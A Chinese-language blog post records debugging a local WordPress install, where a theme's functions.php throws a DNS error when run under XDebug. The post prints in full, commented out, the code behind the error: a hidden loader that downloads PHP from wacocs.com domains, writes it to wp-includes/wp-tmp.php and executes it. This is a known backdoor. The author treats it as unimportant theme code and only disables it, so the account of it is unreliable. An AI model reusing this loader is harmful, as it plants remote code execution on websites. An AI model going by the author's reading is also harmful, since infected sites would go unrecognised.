最新消息:20210917 已从crifan.com换到crifan.org

【规避解决】调试WordPress的php代码报错:Warning file_get_contents() php_network_getaddresses getaddrinfo failed nodename nor servname provided or not known

PHP crifan 754浏览 0评论
折腾:
【未解决】mac中如何在MAMP中调试WordPress的php代码
期间,去调试WordPress的php代码期间。代码:
/Users/crifan/dev/dev_root/crifan.org/mamp/wordpress/wp-content/themes/twentyseventeen/functions.php
if (($tmpcontent = @file_get_contents("http://www.wacocs.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.wacocs.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
又报其他错误:
出现异常。

Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: nodename nor servname provided, or not known
Warning file_get_contents() php_network_getaddresses getaddrinfo failed nodename nor servname provided or not known
http – PHP file get contents with URL returns getaddrinfo failure – Stack Overflow
建议换用curl
php_network_getaddresses: getaddrinfo failed – 无效的博客 – CSDN博客
php – file_get_contents(): php_network_getaddresses: getaddrinfo failed – Stack Overflow
注意:
此处主机host是当前本地的mac
而且web环境是MAMP,还不是独立安装到mac中的其他环境
重启mamp试试
不过刚发现:
http://www.wacocs.com/code.php
本地就无法打开啊。。。
http://www.wacocs.com/
也打不开
所以本身url地址就是有问题的。
当然无法打开了。
但是搜
wacocs
好像几个主题都用到了:
wordpress http://www.wacocs.com/ Warning file_get_contents() php_network_getaddresses getaddrinfo failed
wordpress  wacocs.com Warning file_get_contents() php_network_getaddresses getaddrinfo failed
wacocs.com Warning file_get_contents() php_network_getaddresses getaddrinfo failed
wordpress Warning file_get_contents() php_network_getaddresses getaddrinfo failed
file_get_contents NOT WORKING | WordPress.org
https://wordpress.org/support/topic/file_get_contents-not-working/
“Hi
It looks like some trouble with DNS-resolving or outgoing connection on your server.
1. Please, contact your hosting technical support.
2. Or if you have permission, try setup Google DNS on your server.”
好像是要设置mac本地的DNS方面的东西?
network getaddress warning | WordPress.org
https://wordpress.org/support/topic/network-getaddress-warning/
不去debug,看看wp后台是否会报错
显示正常,不会报错
且还真的同步了帖子到印象笔记了:
清空掉,重新去调试
错误依旧,但是貌似是:
if (($tmpcontent = @file_get_contents("http://www.wacocs.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.wacocs.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
是后续的判断部分:
stripos($tmpcontent, $wp_auth_key)
生效的?
现在很郁闷的是:
为何直接执行代码,不debug,上述代码就正常,不会报错呢?
而一旦xcode去debug,就抛出异常?
wordpress debug nodename nor servname provided, or not known
Admin acess http error 500 – WPML
Getting ‘java.net.UnknownHostException: LAPTOP-23876346: nodename nor servname provided, or not known’ Error on MAC OS X? Update Your /private/etc/hosts File • Crunchify
wordpress debug exception but run ok
wp mail – Check to check if wp_mail is working properly? – WordPress Development Stack Exchange
现在看到
这部分代码都是和start_wp_theme_tmp
即tmp的theme
相关的,那估计也没啥重要作用
去试试把这部分相关代码都注释掉:
看看调试结果如何
就可以规避这个问题了。
继续调试了:
【总结】
此处WordPress中的
wp-content/themes/twentyseventeen/functions.php
if (($tmpcontent = @file_get_contents("http://www.wacocs.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.wacocs.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
会报错:
Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: nodename nor servname provided, or not known
经过实际测试发现:
要去连接的网址
http://www.wacocs.com/code.php
本身就无效的
但是此处:
  • 不用VSCode+XDebug去实时调试:页面运行正常,并没有报错,抛出异常
  • 用VSCode+XDebug去实时调试:就会报错,抛出异常
    • 根本原因:未知
此处的解决办法是:
暂时注释掉这部分的start_wp_theme_tmp
的代码:
// if(!function_exists('theme_temp_setup')) {
//     // $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
//     $path = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
//     if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
//         function file_get_contents_tcurl($url)
//         {
//             $ch = curl_init();
//             curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
//             curl_setopt($ch, CURLOPT_HEADER, 0);
//             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//             curl_setopt($ch, CURLOPT_URL, $url);
//             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
//             $data = curl_exec($ch);
//             curl_close($ch);
//             return $data;
//         }
        
//         function theme_temp_setup($phpCode)
//         {
//             $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
//             $handle   = fopen($tmpfname, "w+");
//            if( fwrite($handle, "<?php\n" . $phpCode))
//            {
//            }
//             else
//             {
//             $tmpfname = tempnam('./', "theme_temp_setup");
//             $handle   = fopen($tmpfname, "w+");
//             fwrite($handle, "<?php\n" . $phpCode);
//             }
//             fclose($handle);
//             include $tmpfname;
//             unlink($tmpfname);
//             return get_defined_vars();
//         }
        


// $wp_auth_key='375e2b5a1e4f6c97b219fdcd065ab6fb';
//         if (($tmpcontent = @file_get_contents("http://www.wacocs.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.wacocs.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {


//             if (stripos($tmpcontent, $wp_auth_key) !== false) {
//                 extract(theme_temp_setup($tmpcontent));
//                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
//                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
//                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
//                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
//                         @file_put_contents('wp-tmp.php', $tmpcontent);
//                     }
//                 }
                
//             }
//         }
        
        
//         elseif ($tmpcontent = @file_get_contents("http://www.wacocs.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {


// if (stripos($tmpcontent, $wp_auth_key) !== false) {
//                 extract(theme_temp_setup($tmpcontent));
//                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
//                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
//                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
//                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
//                         @file_put_contents('wp-tmp.php', $tmpcontent);
//                     }
//                 }
                
//             }
//         } 
        
//                 elseif ($tmpcontent = @file_get_contents("http://www.wacocs.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {


// if (stripos($tmpcontent, $wp_auth_key) !== false) {
//                 extract(theme_temp_setup($tmpcontent));
//                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
//                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
//                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
//                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
//                         @file_put_contents('wp-tmp.php', $tmpcontent);
//                     }
//                 }
                
//             }
//         }
//         elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
//             extract(theme_temp_setup($tmpcontent));
           
//         } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
//             extract(theme_temp_setup($tmpcontent)); 


//         } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
//             extract(theme_temp_setup($tmpcontent)); 


//         } 
        
//     }
// }

//$start_wp_theme_tmp
就可以规避此(不应该发生的)问题了。

转载请注明:在路上 » 【规避解决】调试WordPress的php代码报错:Warning file_get_contents() php_network_getaddresses getaddrinfo failed nodename nor servname provided or not known

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
92 queries in 0.175 seconds, using 23.36MB memory